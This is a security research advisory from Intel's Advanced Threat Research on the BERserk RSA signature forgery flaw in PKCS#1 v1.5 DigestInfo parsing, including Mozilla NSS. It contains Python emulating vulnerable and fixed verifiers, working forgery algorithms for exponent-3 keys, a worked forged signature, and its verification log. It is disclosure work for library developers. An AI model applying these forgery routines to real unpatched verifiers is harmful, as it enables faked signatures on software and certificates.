Intel Security: Advanced Threat Research

BERserk Vulnerability

Part 1: RSA signature forgery attack due to incorrect parsing of ASN.1 encoded DigestInfo in PKCS#1 v1.5

September 29, 2014 (updated on April 13, 2016)

Contents

In the first part of this technical analysis, we provide generic background regarding implementation issues that may be present in implementations of RSA signature verification that attempt ASN.1 decoding of the DigestInfo element of a PKCS#1 v1.5 padded message. We present the details of a vulnerability, known as “BERserk,” in order to help developers of cryptographic libraries better understand these implementation issues and avoid them in the future. While the issue has been identified and updates are available for Mozilla NSS, we have also found other crypto libraries with similar issues to the ones described here.

Background of PKCS#1 v1.5 RSA Signature Forgery Vulnerability

According to PKCS#1 v1.5, a hash of the plain-text message to be signed has to be padded as follows:

```
EM = 00 01 FF FF .. FF FF 00 DigestInfo MessageDigest = 00 01 PS 00
DigestInfo MessageDigest
```

Where DigestInfo is an ASN.1 encoded sequence of the message digest algorithm used to calculate the digest of the plain-text message.

In 2006, Daniel Bleichenbacher described a signature forgery attack against implementations of RSA signature verification which do not completely validate PKCS#1 v1.5 padding when "decrypting" the encoded message (EM) from an RSA signature. Details of the forgery were described by Hal Finney here and also OpenSSL also published an advisory. We will only consider a case when RSA signature verification is using public key with exponent e = F0 = 3.

Specifically, vulnerable implementations scan EM for padding bytes 0xFF until separator byte 0x00 was found then continue validating DigestInfo and the message digest against expected values without making sure that the DigestInfo and the message digest are right justified in EM, i.e. that there are no extra bytes left after the message digest. As a result, an EM' could be constructed to include extra *garbage* right after the message digest such that this EM' would satisfy signature verification:

```
EM' = 00 01 FF FF FF FF FF FF FF FF 00 DigestInfo MessageDigest Garbage
```

This additional garbage in EM' allows an adversary to generate such RSA signatures which, after cubing performed over RSA modulus, gives EM':

```
EM' = (s')^3 mod N
```

An adversary can create such RSA signature s' without knowing the RSA private key {p,q,d} thus can *forge* RSA signatures.

To illustrate the attack, a sample implementation in Python is provided below which emulates implementation error leading to RSA signature verification vulnerability:

```
def PKCS1v15_verify( hash, sig, pubkey ):

    # decrypt EM from signature using public key
    EM = pubkey.encrypt(sig, 0)[0]
    # pad EM with leading zeros up to RSA_MODULUS_LEN
```

```
    if len(EM) < RSA_MODULUS_LEN: EM = '\x00'*(RSA_MODULUS_LEN-len(EM)) + EM

    # check first byte of padding is 0x00
    if ord(EM[0]) != 0x00:
        return SIGNATURE_VERIFICATION_FAILED
    # check padding type is signature
    if ord(EM[1]) != 0x01:
        return SIGNATURE_VERIFICATION_FAILED

    i = 2
    while ( (i < RSA_MODULUS_LEN) and (ord(EM[i]) == 0xFF) ): i += 1

    if ord(EM[i]) != 0x00:
        return SIGNATURE_VERIFICATION_FAILED

    i += 1
    if i < 11:
        return SIGNATURE_VERIFICATION_FAILED

    T = EM[i:]
    T_size = len(T)
    (status, hash_from_EM, DI_size) = RSA_BER_Parse_DigestInfo( T, T_size )
    if PADDING_OK != status:
        return SIGNATURE_VERIFICATION_FAILED

    # Verifying message digest
    if (hash != hash_from_EM):
        return SIGNATURE_VERIFICATION_FAILED

    return SIGNATURE_VERIFICATION_PASSED
```

The implementation above could be modified as follows to fix the implementation error leading to RSA signature forgery vulnerability:

```
def PKCS1v15_verify( hash, sig, pubkey ):

    # decrypt EM from signature using public key
    EM = pubkey.encrypt(sig, 0)[0]
    # pad EM with leading zeros up to RSA_MODULUS_LEN
    if len(EM) < RSA_MODULUS_LEN: EM = '\x00'*(RSA_MODULUS_LEN - len(EM)) + EM

    # check first byte of padding is 0x00
    if ord(EM[0]) != 0x00:
        return SIGNATURE_VERIFICATION_FAILED
    # check padding type is signature
    if ord(EM[1]) != 0x01:
        return SIGNATURE_VERIFICATION_FAILED

    i = 2
    while ( (i < RSA_MODULUS_LEN) and (ord(EM[i]) == 0xFF) ): i += 1

    if ord(EM[i]) != 0x00:
        return SIGNATURE_VERIFICATION_FAILED

    i += 1
    if i < 11:
        return SIGNATURE_VERIFICATION_FAILED
```

```
    T = EM[i:]
    T_size = len(T)
    (status, hash_from_EM, DI_size) = RSA_BER_Parse_DigestInfo( T, T_size )
    if PADDING_OK != status:
        return SIGNATURE_VERIFICATION_FAILED

    # Mitigation against RSA signature forgery vulnerability (CVE-2006-4339).
    # Make sure number of remaining bytes after the padding equals the size of
    # DigestInfo and the message digest, that is no garbage left after the hash
    HASH_LEN = len(hash)
    if( T_size != (DI_size + HASH_LEN) ):
        return SIGNATURE_VERIFICATION_FAILED

    # Verifying message digest
    if (hash != hash_from_EM):
        return SIGNATURE_VERIFICATION_FAILED

    return SIGNATURE_VERIFICATION_PASSED
```

An additional check, added to the implementation of *PKCS1v15_verify* function ensures that the size of the remaining part of EM after the padding bytes (00 01 PS 00) does not exceed the combined size of the ASN.1 encoding of DigestInfo (*DI_size*) and the message digest itself (*HASH_LEN*). As a result, it guarantees that there was no garbage left after the message digest in the EM.

ASN.1 DigestInfo Parsing Problems

To illustrate the issues, we'll be using a pseudo-code implementation which supports only the SHA-256 hash algorithm.

PKCS#1 v1.5 defines DigestInfo to be a DER representation of an ASN.1 encoded sequence of octets allowing only one representation for a given message digest algorithm. RSA implementations might only need to compare the decrypted DigestInfo from the signature to match this expected DER representation of DigestInfo for each of the supported message digest algorithms. For example, the following sequence is the entire DER representation of DigestInfo for SHA-256 message digest algorithm (following separator byte 0x00 in EM):

```
DigestInfo_SHA256 =
"\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20"
```

An RSA implementation could do one memory compare operation of the entire *DigestInfo_SHA256* after parsing the PKCS#1 v1.5 padding (00 01 PS 00):

```
# Verify DigestInfo sequence decoded from the signature matches SHA-256 DigestInfo
di_from_EM = EM[ len(EM)-HASH_LEN_SHA256-len(DigestInfo_SHA256) : len(EM)-
HASH_LEN_SHA256 ]
if (DigestInfo_SHA256 != di_from_EM):
    return PADDING_ERROR
```

However, some RSA implementations attempt to decode ASN.1 encoded DigestInfo sequence in PKCS#1 v1.5 padded message, either using a general purpose ASN.1 decoder (parser) or a simplified ASN.1 parser to specifically decode the DigestInfo sequence. The sample implementation below emulates a vulnerable implementation of signature verification using the

function *PKCS1v15_BER_Parse_DigestInfo* to parse a DigestInfo sequence as a BER encoded ASN.1 sequence. *PKCS1v15_BER_Parse_DigestInfo* is a specialized, simplified DigestInfo ASN.1 parser rather than a general purpose ASN.1 parser. Below we offer a sample implementation of such a DigestInfo ASN.1 parser:

```
OID_SHA256 = "\x60\x86\x48\x01\x65\x03\x04\x02\x01"

def BER_ParseLength( item_length_field ):
    len_value = 0
    offset    = 0
    octet = ord(item_length_field[offset:offset+1])
    if( octet & 0x80 ):
        # It's a long (multi-byte) length field. Use only lower 7 bits
        length_bytes = octet & 0x7F
        for i in range(length_bytes):
          offset += 1
          octet = ord(item_length_field[offset:offset+1])
          # No integer overflow of len_value in python
          len_value = (len_value << 8) | octet
        len = len_value
    else:
        # Length field contains just 1 byte (short length)
        len = octet
    offset += 1
    return (len,offset)

def PKCS1v15_BER_Parse_DigestInfo( T, T_size ):
    tlv_len = 0
    pos = 0

    # Verify DigestInfo Tag
    if( ord(T[pos]) != 0x30 ): return PADDING_ERROR
    pos += 1
    # Get DigestInfo Length
    (tlv_len,offset) = BER_ParseLength( T[pos:] )
    pos += offset

    # Verify AlgorithmIdentifier Tag
    if( ord(T[pos]) != 0x30 ): return PADDING_ERROR
    pos += 1
    # Get AlgorithmIdentifier Length
    (tlv_len,offset) = BER_ParseLength( T[pos:] )
    pos += offset

    # Verify ObjectIdentifier (OID) Tag
    if( ord(T[pos]) != 0x6 ): return PADDING_ERROR
    pos += 1
    # Get ObjectIdentifier (OID) Length
    (tlv_len,offset) = BER_ParseLength( T[pos:] )
    pos += offset

    # Verify OID matches OID of the hash algorithm
    if (OID_SHA256 != T[pos:pos+tlv_len]):
        return PADDING_ERROR
    # Skip OID
    pos += tlv_len

    # Verify Parameters is ASN.1 NULL
    if( ord(T[pos]) != 0x5 ): return PADDING_ERROR
    pos += 1
    # Get Parameters Length
    (tlv_len,offset) = BER_ParseLength( T[pos:] )
```

```
    pos += offset

    # Verify BIT STRING is ASN.1 Octet string
    if( ord(T[pos]) != 0x4 ): return PADDING_ERROR
    pos += 1
    # Get BIT STRING Length
    (tlv_len,offset) = BER_ParseLength( T[pos:] )
    pos += offset

    # return size of ASN.1 encoded DigestInfo
    pDI_size = pos
    pMessageDigest = T[pos:pos+HASH_LEN_SHA256]
    return (PADDING_OK,pMessageDigest,pDI_size)
```

There are multiple problems with implementations similar to *PKCS1v15_BER_Parse_DigestInfo*. Most importantly, parsing of the lengths of SEQUENCE elements in the ASN.1 encoded DigestInfo is implemented incorrectly.

PKCS1v15_BER_Parse_DigestInfo treats DigestInfo as a BER (instead of DER) encoded string and attempts to parse length fields of elements within the ASN.1 string, as in the following line:

```
    # Get DigestInfo Length
    (tlv_len,offset) = BER_ParseLength( T[pos:] )
    pos += offset
```

BER encoding allows both short representation of length field (*short length*) as well as long representation of length field (*long length*) of elements in an ASN.1 string. A short length field occupies only one byte (octet). A long length field occupies multiple octets. The first octet of the length field defines if the length field occupies one or multiple octets.

- If highest bit (bit 7) of the first length octet is 0 then this octet represents entire length of the current ASN.1 element.
- If bit 7 of the first octet of length field is 1 then bits [6:0] define how many following octets are used to represent this long length field. Such long length fields can occupy up to 127 octets.

The *PKCS1v15_BER_Parse_DigestInfo* function calls the *BER_ParseLength* function every time it needs to parse the length field of the ASN.1 element within a DigestInfo string. The first thing the *BER_ParseLength* function does is check the value of bit 7 of the length byte. If this bit is set then it considers it to be a long length field and iterates over as many bytes as indicated by bits [6:0] of the first byte (*octet & 0x7F*). While iterating over long length field, *BER_ParseLength* increments an offset (pointer) inside the DigestInfo sequence. Moreover, when a length is returned, *PKCS1v15_BER_Parse_DigestInfo* does not validate it against the expected value of the length of the ASN.1 object within the DigestInfo sequence. For example, it doesn't verify that the length of a MessageDigest octet sequence actually equals the size of the message digest following DigestInfo.

Therefore an adversary is able to create a DigestInfo ASN.1 sequence with long length fields inside it and add up to 127 bytes of *garbage* by replacing each legitimate length field. The *BER_ParseLength* function increments an offset within DigestInfo sequence, skipping over long length field octets. At the end of *PKCS1v15_BER_Parse_DigestInfo*, an offset within the DigestInfo sequence points to the message digest and the size of DigestInfo sequence

(*DI_size*) is equal to *T_size* - *HASH_LEN*, i.e. to *RSA_MODULUS_LEN* - *HASH_LEN* - *sizeof(00 01 PS 00)*.

As a result, the following check in the *PKCS1v15_verify* function will get bypassed, thus bypassing the mitigation for Bleichenbacher's original RSA signature forgery vulnerability:

```
    if( T_size != (DI_size + HASH_LEN) ):
        return SIGNATURE_VERIFICATION_FAILED
```

Note that injecting garbage bytes in the long (multi-byte) length fields within DigestInfo will also force the message digest to be right justified so that entire EM is properly constructed.

In addition to incorrectly parsing long length fields, ASN.1 DigestInfo decoders (parsers) may also have other implementation issues, for example:

- Equivalent of BER_ParseLength may have an integer overflow of the length value calculated from a long length field
- Equivalent of BER_ParseLength may return a negative length of the sequence
- Implementation may not limit the number of octets used in the long length fields, allowing all 127 octets to be used
- Implementation may allow leading 0's in the long length fields
- Implementation may not check values of the short length octets against expected values
- Implementation may not verify *Tags* of the ASN.1 objects, just skipping them
- Implementation may incorrectly parse *High Tags* of ASN.1 objects which occupy multiple octets
- Implementation may perform memory compare or copy operations with lengths decoded from long length fields in the ASN.1 encoded sequence

A combination of these issues may lead to exploitable vulnerabilities.

Let's demonstrate how a forged, ASN.1-encoded DigestInfo can be constructed to pass RSA signature verification with such vulnerability.

Below is the example of correct representation of DigestInfo for the SHA-256 hash algorithm:

```
30 31 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 XXXXXXXXXXXXXXXXXXXX

Tag             Length
30 (SEQUENCE)   31
                    Tag                 Length
                    30 (SEQUENCE)       0d
                                            Tag         Length
                                            06 (OID)    09
                                                            OID
                                                            60 86 48 01 65 03 04 02 01
                                            Tag         Length
                                            05 (NULL)   00
                    Tag                 Length
                    04 (OCTET STRING)   20
                                            octet string (SHA-256 hash)
                                            XXXXXXXXXXXXXXXXXXXX
```

and a forged DigestInfo encoding with two forged long lengths and two chunks of garbage:

```
30 31 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 c3 .. garbage .. 04 ff .. garbage ..
XXXXXXXXXXXXXXXXXXXX

Tag             Length (long form)
30 (SEQUENCE)   32
                    Tag                 Length (long form)
                    30 (SEQUENCE)       0d
                                            Tag         Length
                                            06 (OID)    05
                                                            OID
                                                            60 86 48 01 65 03 04 02 01
                                            Tag         Length (long form)
                                            05 (NULL)   c3 (80|43) .. garbage ..
                    Tag                 Length
                    04 (OCTET STRING)   ff (80|7f) .. garbage ..
                                            octet string (SHA-256 hash)
                                            XXXXXXXXXXXXXXXXXXXX
```

The following is an example of an entire padded message EM' with the above forged ASN.1 encoded DigestInfo which contains two chunks of garbage in place of two long lengths in the middle of DigestInfo. Bytes denoted as ".." are bytes of garbage which can be replaced with any bytes. Bytes denoted as "xx" are bytes of the message digest.

```
00000000 00 01 ff ff ff ff ff ff ff ff 00 30 31 30 0d 06
00000010 09 60 86 48 01 65 03 04 02 01 05 c3 .. .. .. ..
00000020 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
00000030 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
00000040 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
00000050 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. 04
00000060 ff .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
00000070 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
00000080 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
00000090 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
000000a0 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
000000b0 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
000000c0 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
000000d0 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
000000e0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
000000f0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
```

The above padded message (EM') has the following structure:

- EM' starts with PKCS#1 v1.5 bytes of padding 0x00 0x01 followed by 8 0xFF bytes of padding PS
- Padding bytes are followed by byte 0x00
- 0x00 byte is followed by ASN.1 encoded DigestInfo sequence up until byte 0xC3
- Byte 0xC3 is the first long length which is being replaced by the first chunk of garbage. Long length byte **0xC3 = 0x80 | 0x43** with bit 7 set and the length is 0x43 bytes long
- The first chunk of garbage starts after byte 0xC3 and is 0x43 bytes long
- The first chunk of garbage is followed by byte 0x04 (ASN.1 octet string)
- Byte 0x04 is followed by byte 0xFF, the second long length, which is being replaced by the second chunk of garbage. Long length byte **0xFF = 0x80 | 0x7F** with bit 7 set and the length is 0x7F bytes long
- The second chunk of garbage starts after byte 0xFF and is 0x7F bytes long

- The last 32 bytes in EM' comprise the digest of the message

The goal of the attack is to create a forged signature (s') without knowing the RSA private key, which results in the above padded message EM' after cubing modulo the RSA modulus. Let's explain how an adversary will create such a forged signature.

RSA Signature Forgery

In order to implement the signature forgery attack, an adversary has to generate such signature s' which will pass verification by the implementation which has the padding check vulnerability described earlier. Such signature s' when decrypted using the public exponent should give the padded message EM' of the format described in the previous section.

EM' has three fixed byte sequences:

1. Fixed PKCS1v1.5 prefix 00 01 FF .. FF 00 30 .. 05 c3 up until the first multi-length byte in ASN.1 encoding of DigestInfo we are attacking
2. Fixed suffix which is 32 bytes of message digest (for SHA-256).
3. Two fixed bytes in the middle corresponding to ASN1 Octet string tag byte (04) and forged long length (FF)

In order to forge the prefix and suffix in EM' we implemented algorithms described in these papers:

1. Variants of Bleichenbacher's Low-Exponent Attack on PKCS#1 RSA Signatures
2. A New Variant for an Attack Against RSA Signature Verification Using Parameter Field

Let's explain how all three parts of the signature are forged in more detail.

Part 1. The most significant part of the message (prefix) is calculated by the following algorithm computing a perfect cube root of the message with fixed prefix:

```
def forge_prefix(s, w, N):
    zd = BITLEN - w
    repas = (s << zd)
    repa = (repas >> zd)
    cmax = N
    ctop = cmax
    cmin = 0
    s = 0
    while True:
      c = (cmax + cmin + 1)/2
      a1 = repas + c
      s = icbrt(a1, BITLEN)
      a2 = ((s * s * s) >> zd)
      if a2 == repa:
        break
      if c == cmax or c == cmin:
        print " *** Error: The value cannot be found ***"
        return 0
      if a2 > repa:
        cmax = c
      else:
        cmin = c
```

```
    for d in range(zd/3, 0, -1):
      mask = ((1 << d) - 1)
      s1 = s & (~mask)
      a2 = ((s1 * s1 * s1) >> zd)
      if a2 == repa:
        return s1
    return s
```

Prefix is constant and can be calculated beforehand for each message signature is being forged for.

Part 2. Suffix calculation is done by the following algorithm, finding the smallest number which after cubing gives the required message digest in the least significant bits of the cube.

h - hash value
w - hash size in bits
N - public key modulo

```
def forge_odd(h, w):
    y = long(1)
    mask = long(1)
    for i in range(1, w):
        mask = mask | (1 << i)
        if ((cube(y)^h) & mask) != 0:
            y = y + (1 << i)
    return y

def forge_even(h, N, w):
    mask = (1 << w) - 1
    h1 = (h + N) & mask
    s1 = forge_odd(h1, w)
    y = 0
    for i in range((BITLEN + 5)/3, w, -1):
        y = y | (1 << i)
        c = cube(y + s1)
        if (c > N) and (c < (2 * N)):
            break
        elif c > (2 * N):
            y = y & (~(1 << i))
    return (y + s1)

def forge_suffix(h, w, N):
    if (h & 1) == 0:
        return forge_even(h, N, w)
    else:
        return forge_odd(h, w)
```

Suffix in our case is just the SHA-256 digest of the message being forged hence this part of the calculation has to be done for each message.

Part 3. In order to forge the two fixed bytes in the middle, we will apply the following algorithm which basically brute forces 2 bytes in the signature s' to get bytes 0x04 0xFF at the proper bit positions in EM'.

```
for x in xrange(1, 0xffff):
    signature_middle_x = x << HASHLEN
    signature_x = signature_high | signature_middle_x | signature_low
```

```
    em = cube( signature_x )
    if (em & target_EM_middle_mask == target_EM_middle):
        # forged signature found
        signature = signature_x
        break
```

A different approach is required to implement a generic algorithm for forging multiple fixed octets in the middle of EM' rather than brute-forcing as described above. We plan to describe this in a future update.

Example

We will use the following example to illustrate the signature forgery attack.

We will forge the RSA signature of the following message:

Now, here, you see, it takes all the running you can do, to keep in the same place. If you want to get somewhere else, you must run at least twice as fast as that

The SHA-256 digest of the above message is:

48ACE9B7BC30CB37338419F7716D4E9F50AA0AD2A425BCF38C2A11669F85CFD5

The result of executing the *forge_prefix* algorithm on our test message is upper part of the forged signature s' which after cubing gives proper prefix part of EM':

```
signature_high:
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000032CBFD4A7ADC7905583D767520F51640759176D3782
6F2EF63B4B4000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
target_EM_high:
0001FFFFFFFFFFFFFFFF003031300D060960864801650304020105C3000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
```

Executing the *forge_suffix* algorithm on our test message yields the lower part of the forged signature s' which after cubing gives a proper suffix part of EM' (message digest):

```
signature_low:
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
```

```
0000000000000000000000000000000000000000000000000000000000000000FA9AE778688939
4783145E1191A9A4ACBD7BFCCB4DA07E9FFC60ADF24AC6A1CD
target_EM_low:
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000048ACE9B7BC30CB
37338419F7716D4E9F50AA0AD2A425BCF38C2A11669F85CFD5
```

Executing the algorithm that brute-forces the middle part of the signature on our test message yields the middle part of the forged signature s' which after cubing gives bytes 0x04 0xFF at proper positions in the middle of EM':

```
signature_middle:
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000002C7A00000000000000
0000000000000000000000000000000000000000000000000000
target_EM_middle:
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000004FF0000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
```

When low, high and middle parts of s' are summed, they give the following, completely forged signature s':

```
signature:
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000032CBFD4A7ADC7905583D767520F51640759176D3782
6F2EF63B4B400000000000000000000000000000000000000000002C7AFA9AE778688939
4783145E1191A9A4ACBD7BFCCB4DA07E9FFC60ADF24AC6A1CD
```

```
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 32 cb fd 4a 7a
```

```
000000b0 dc 79 05 58 3d 76 75 20 f5 16 40 75 91 76 d3 78
000000c0 26 f2 ef 63 b4 b4 00 00 00 00 00 00 00 00 00 00
000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 7a
000000e0 fa 9a e7 78 68 89 39 47 83 14 5e 11 91 a9 a4 ac
000000f0 bd 7b fc cb 4d a0 7e 9f fc 60 ad f2 4a c6 a1 cd
```

When decrypted with RSA public key exponent 3, i.e. after cubing modulo RSA modulus, it gives the following padded message EM':

```
EM'=(signature)^3:
0001FFFFFFFFFFFFFFFF003031300D060960864801650304020105C3689B67E36C25A4A2F3232
D63CFAF1A19F0D4A878B9BFB912FD1C009574F11FED69231446F6C2AAB221547ECE2F188D5F45
BBD6CDAD250650986811B92AA10BB8CA7D5904FF4FDA00DB7F2AC339A0FFCABACA6FD8A2193F6
B42079D1158FC597D51D70898425AF89216EE078B5B9A6DC5F80080D5B1A34756B2DDC6D65C13
984DBF03ADB032F88B4D5B40B7EF8FFC4D6BE3E1BB1F58A8A341552200844CB0EB269F64A6284
BA9A562A56AAEEF00F3A9D23D6BF8832BE18655225516F43D887C74B5DFA4B248ACE9B7BC30CB
37338419F7716D4E9F50AA0AD2A425BCF38C2A11669F85CFD5

00000000 00 01 ff ff ff ff ff ff ff ff 00 30 31 30 0d 06
00000010 09 60 86 48 01 65 03 04 02 01 05 c3 68 9b 67 e3
00000020 6c 25 a4 a2 f3 23 2d 63 cf af 1a 19 f0 d4 a8 78
00000030 b9 bf b9 12 fd 1c 00 95 74 f1 1f ed 69 23 14 46
00000040 f6 c2 aa b2 21 54 7e ce 2f 18 8d 5f 45 bb d6 cd
00000050 ad 25 06 50 98 68 11 b9 2a a1 0b b8 ca 7d 59 04
00000060 ff 4f da 00 db 7f 2a c3 39 a0 ff ca ba ca 6f d8
00000070 a2 19 3f 6b 42 07 9d 11 58 fc 59 7d 51 d7 08 98
00000080 42 5a f8 92 16 ee 07 8b 5b 9a 6d c5 f8 00 80 d5
00000090 b1 a3 47 56 b2 dd c6 d6 5c 13 98 4d bf 03 ad b0
000000a0 32 f8 8b 4d 5b 40 b7 ef 8f fc 4d 6b e3 e1 bb 1f
000000b0 58 a8 a3 41 55 22 00 84 4c b0 eb 26 9f 64 a6 28
000000c0 4b a9 a5 62 a5 6a ae ef 00 f3 a9 d2 3d 6b f8 83
000000d0 2b e1 86 55 22 55 16 f4 3d 88 7c 74 b5 df a4 b2
000000e0 48 ac e9 b7 bc 30 cb 37 33 84 19 f7 71 6d 4e 9f
000000f0 50 aa 0a d2 a4 25 bc f3 8c 2a 11 66 9f 85 cf d5
```

As the reader may notice, the above EM' conforms to the format of the padded message EM accepted by the vulnerable implementation. Indeed, verifying this forged signature using our emulated vulnerable RSA implementation results in the signature accepted as valid.

```
[*] RSA modulus size = 2048 bits (256 bytes)
[*] RSA PKCS#1 v1.5 vulnerability: VULN_BERSERK
[*] Verifying signature 'text.txt.sig' of file 'text.txt' using public key
'public.pem.2048'..
[*] Hash: 48ace9b7bc30cb37338419f7716d4e9f50aa0ad2a425bcf38c2a11669f85cfd5
[*] > PKCS1v15_verify
[*] Decoding ASN.1 DigestInfo..
[*] DigestInfo SEQUENCE Tag    : 0x30
[*] DigestInfo SEQUENCE Len    : 0x31 (skip 0x1 octets)
[*]   AlgorithmID SEQUENCE Tag: 0x30
[*]   AlgorithmID SEQUENCE Len: 0xD (skip 0x1 octets)
[*]     OID Tag                : 0x6
[*]     OID Len                : 0x9 (skip 0x1 octets)
[*]       OID                  : 608648016503040201 (OID SHA-256: 608648016503040201)
[*]     Parameters Tag         : 0x5
[*]                              long length (0x43 octets)
```

```
[*]     Parameters Len        :
0x689B67E36C25A4A2F3232D63CFAF1A19F0D4A878B9BFB912FD1C009574F11FED69231446F6C2AAB22154
7ECE2F188D5F45BBD6CDAD250650986811B92AA10BB8CA7D59 (skip 0x44 octets)
[*]   OCTET STRING Tag        : 0x4
[*]                             long length (0x7F octets)
[*]   OCTET STRING Len        :
0x4FDA00DB7F2AC339A0FFCABACA6FD8A2193F6B42079D1158FC597D51D70898425AF89216EE078B5B9A6D
C5F80080D5B1A34756B2DDC6D65C13984DBF03ADB032F88B4D5B40B7EF8FFC4D6BE3E1BB1F58A8A3415522
00844CB0EB269F64A6284BA9A562A56AAEEF00F3A9D23D6BF8832BE18655225516F43D887C74B5DFA4B2
(skip 0x80 octets)
[+] Decoding ASN.1 DigestInfo OK (size = 213 bytes)
[+] Number of remaining bytes matches size of DigestInfo||MessageDigest (no extra
garbage at the end)
[*] EM[MessageDigest]:
48ace9b7bc30cb37338419f7716d4e9f50aa0ad2a425bcf38c2a11669f85cfd5
[*] MessageDigest     :
48ace9b7bc30cb37338419f7716d4e9f50aa0ad2a425bcf38c2a11669f85cfd5
[*] EM   :
0001ffffffffffffffff003031300d060960864801650304020105c3689b67e36c25a4a2f3232d63cfaf1a
19f0d4a878b9bfb912fd1c009574f11fed69231446f6c2aab221547ece2f188d5f45bbd6cdad2506509868
11b92aa10bb8ca7d5904ff4fda00db7f2ac339a0ffcabaca6fd8a2193f6b42079d1158fc597d51d7089842
5af89216ee078b5b9a6dc5f80080d5b1a34756b2ddc6d65c13984dbf03adb032f88b4d5b40b7ef8ffc4d6b
e3e1bb1f58a8a341552200844cb0eb269f64a6284ba9a562a56aaeef00f3a9d23d6bf8832be18655225516
f43d887c74b5dfa4b248ace9b7bc30cb37338419f7716d4e9f50aa0ad2a425bcf38c2a11669f85cfd5
[PASSED] The signature is correct!
```

Additional Information

1. Hal Finney: Bleichenbacher's RSA signature forgery based on implementation error
2. OpenSSL RSA Signature Forgery (CVE-2006-4339)
3. Ulrich Kühn, Andrei Pyshkin, Erik Tews, Ralf-Philipp Weinmann: Variants of Bleichenbacher's Low-Exponent Attack on PKCS#1 RSA Signatures
4. Yutaka Oiwa, Kazukuni Kobara, Hajime Watanabe: A New Variant for an Attack Against RSA Signature Verification Using Parameter Field
5. CERT Vulnerability Note VU#772676 (Mozilla Network Security Services (NSS) fails to properly verify RSA signatures)
6. Mozilla Foundation: RSA Signature Forgery in NSS
7. Mozilla Foundation: Security Advisory 2014-73
8. US-CERT Mozilla Network Security Services (NSS) Library Vulnerability
9. Google Chrome Stable Channel Update [414124] RSA signature malleability in NSS (CVE-2014-1568)
10. Adam Langley: PKCS#1 Signature Validation (26 Sep 2014)

Acknowledgements

This issue was discovered by the Advanced Threat Research team at Intel Security. The issue in Mozilla NSS library was independently discovered by Antoine Delignat-Lavaud (INRIA Paris, PROSECCO).